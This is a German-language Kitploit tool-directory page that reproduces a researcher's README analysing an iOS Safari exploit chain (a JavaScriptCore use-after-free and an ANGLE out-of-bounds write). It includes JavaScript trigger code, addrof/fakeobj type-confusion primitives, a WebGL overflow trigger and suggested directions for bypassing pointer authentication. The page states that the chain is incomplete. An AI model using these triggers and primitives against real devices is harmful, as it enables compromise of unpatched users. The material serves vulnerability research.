Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
WebKit-UAF-ANGLE-OOB-Analysis — Analyse der Exploit-Kette von CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari | Kitploit
Tools/GitHubGitHub/0xjohnnydev/webkit-uaf-angle-oob-analysis
iOS-SicherheitSchwachstellenanalyseExploitationReverse EngineeringWebsicherheitMobile SicherheitPapers & ForschungBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHub
0xjohnnydev/webkit-uaf-angle-oob-analysis

WebKit-UAF-ANGLE-OOB-Analysis

Analyse der Exploit-Kette von CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari

Repository anzeigen
103215vor 13 TagenVon Kitploit geprüft
Teilen

WebKit-UAF-ANGLE-OOB-Analysis (CVE-2025-43529, CVE-2025-14174)

Notizen und PoC-Material für eine WebKit/ANGLE-Kette auf iOS 26.1. Dies ist kein vollständiger Exploit; er trennt verifizierte Primitive von den Teilen, die noch scheitern.

Autor: zeroxjf
Basiert auf: jir4vv1ts Exploit für CVE-2025-43529
Status: Teilkette; beliebiges R/W nicht nachgewiesen
Testgerät: iPhone 11 Pro Max, iOS 26.1
Zuletzt aktualisiert: Januar 2026


Umfang und Credits

Der UAF-Trigger von CVE-2025-43529, das Butterfly-Reclaim und die addrof/fakeobj-Primitive basieren auf jir4vv1ts Arbeit. Meine Ergänzungen sind die ANGLE-OOB-Anbindung, die PAC-fokussierte Analyse und die Validierung unter iOS 26.1.

Übersicht

Zwei WebKit-CVEs wurden gemeinsam offengelegt und von Apple als In-the-Wild-Ausnutzung gemeldet.

CVEKomponenteTypZusammenfassung
CVE-2025-43529JavaScriptCoreUse-After-FreeFehlende Write-Barrier im DFG JIT führt dazu, dass der GC lebende Objekte freigibt
CVE-2025-14174ANGLE (GPU)Out-of-Bounds WriteMetal-Backend verwendet falsche Höhe für die Staging-Puffer-Zuweisung

CVE-2025-43529: WebKit-DFG-Store-Barrier-UAF

Grundursache

Der Fehler liegt im DFG-JIT von JavaScriptCore, genauer in der Store-Barrier-Insertion-Phase (DFGStoreBarrierInsertionPhase.cpp).

Wenn ein Phi-Knoten entkommt, seine Upsilon-Eingaben jedoch nicht als entkommen markiert sind, erhalten spätere Stores keine Write-Barrier. Das erlaubt dem GC, Objekte freizugeben, die weiterhin erreichbar sind.

Trigger-Mechanismus

root@kitploit:~
function triggerUAF(flag, k, allocCount) {
    let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
    arr[arr_index] = A;  // A in old space

    let a = new Date(1111);
    a[0] = 1.1;  // Creates butterfly for Date

    // Force GC
    for (let j = 0; j < allocCount; ++j) {
        forGC.push(new ArrayBuffer(0x800000));
    }

    let b = { p0: 0x42424242, p1: 1.1 };

    // Phi node - the bug
    let f = b;
    if (flag) f = 1.1;

    A.p1 = f;  // Phi escapes, but 'b' NOT marked as escaped

    // Long loop = GC race window
    for (let i = 0; i < 1e6; ++i) { /* ... */ }

    b.p1 = a;  // NO WRITE BARRIER - 'a' freed while still reachable
}

Ausnutzungsskizze

Das Butterfly des freigegebenen Date-Objekts kann durch Spray-Arrays zurückgewonnen werden, was eine Typverwechslung erzeugt:

root@kitploit:~
// After reclaim:
boxed_arr[0] = obj;           // Store object reference
addr = ftoi(unboxed_arr[0]);  // Read as float64 = leaked address

unboxed_arr[0] = itof(addr);  // Write address as float64
fake = boxed_arr[0];          // Read as object = fakeobj

Aktuelle Ergebnisse (iPhone 11 Pro Max, iOS 26.1)

  • addrof/fakeobj: In Probe-Läufen verifiziert
  • Adress-Leaking: 20+ Objektadressen pro Lauf erfasst
  • Inline-Storage-Lesen/Schreiben: Gegen bekannte Inline-Slots verifiziert (objektadressenbasiert)
  • Beliebiges R/W: Nicht nachgewiesen; der Nachweis per Backing-Store-Scan schlägt in aktuellen Läufen fehl

CVE-2025-14174: OOB-Write im ANGLE-Metal-Backend

Grundursache

Im Metal-Backend von ANGLE (TextureMtl.cpp) verwendet die Zuweisung des Staging-Puffers beim Hochladen über PBO UNPACK_IMAGE_HEIGHT anstelle der tatsächlichen Texturhöhe.

Trigger

root@kitploit:~
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // Small value

// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write:   256 * 256 * 4 = 256KB
// OOB: 240KB!

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
              256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Das PAC-Problem

Was die vollständige Ausnutzung blockiert

Auf arm64e (iPhone 11 Pro Max) schützen Pointer Authentication Codes (PAC) kritische JSC-Zeiger:

ZeigerGeschütztErgebnis
TypedArray m_vectorJaTypedArray mit beliebigem Backing-Store kann nicht gefälscht werden
JSArray butterflyJaJSArray mit beliebigem Butterfly kann nicht gefälscht werden

Wenn ich versuche, ein gefälschtes TypedArray/JSArray mit einem beliebigen Datenzeiger zu erzeugen, schlägt die PAC-Verifizierung fehl und es kommt zum Absturz:

root@kitploit:~
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)

Warum die ursprüngliche Typverwechslung funktioniert

Die Typverwechslung gelingt, weil beide Arrays legitim signierte Butterfly-Zeiger verwenden – wir interpretieren lediglich denselben Speicher um. Gefälschte Objekte mit beliebigen unsignierten Zeigern stürzen bei der PAC-Prüfung ab.

Unbestätigte Bypass-Ansätze

  1. JIT-Pfade, die einen signierten Zeiger eines legitimen Objekts verwenden, ohne angreiferkontrollierte Felder erneut zu authentifizieren.
  2. Ein erreichbares Signier-Gadget oder eine API, die einen kontrollierten Datenzeiger mit dem richtigen Kontext signiert.
  3. Eine andere Nutzung des ANGLE-OOB, die gefälschte TypedArray-/JSArray-Backing-Stores vollständig vermeidet.

Aktuelle Fähigkeiten

PrimitiveStatusAnmerkungen
addrof(obj)FunktioniertIn Probe verifiziert
fakeobj(addr)FunktioniertGegen bekannte Objekte verifiziert
Adress-LeakingFunktioniert20+ Adressen pro Lauf
Inline-Slot-Lesen/SchreibenFunktioniertAn bekannten Inline-Slots verifiziert (objektadressenbasiert)
read64(addr)UnverifiziertÜber den Inline-Slot-Trick konstruiert, Nachweis fehlgeschlagen
write64(addr)UnverifiziertÜber den Inline-Slot-Trick konstruiert, Nachweis fehlgeschlagen

Zusammenfassung der Nachweise (letzter Probe-Lauf)

  • Verifiziert: addrof, fakeobj, Adress-Leaks, Inline-Slot-Lesen/-Schreiben an bekannten Objekten
  • Unverifiziert: beliebiges read64/write64, Renderer→GPU-Escape-Kette, Sandbox-Escape
  • ANGLE-Probe: WebGL2-PBO-Pfad implementiert; Trigger in aktuellen Läufen nicht bestätigt

Repository-Struktur

root@kitploit:~
├── README.md                 # This file
├── poc/
│   └── chained_exploit_probe.html
└── analysis/
    ├── pac_analysis.md       # Detailed PAC findings
    └── crash_logs/           # Example crash reports

Danksagungen

Der CVE-2025-43529-Trigger, die Butterfly-Reclaim-Technik und der addrof/fakeobj-Aufbau basieren auf jir4vv1t/CVE-2025-43529. Dieses Repository ergänzt die iOS-26.1-Validierung, PAC-Hinweise und die ANGLE-OOB-Anbindung.


Referenzen

  • jir4vv1t/CVE-2025-43529 – Original-UAF-Exploit und Analyse
  • WebKit Bugzilla: 302502, 303614
  • Apple Security Updates - iOS 26
  • Google Threat Analysis Group

Aktueller Stand: Nützlich zur Reproduktion des JSC-Primitives und des PAC-Hindernisses; keine vollständige Exploit-Kette.

Tool herunterladen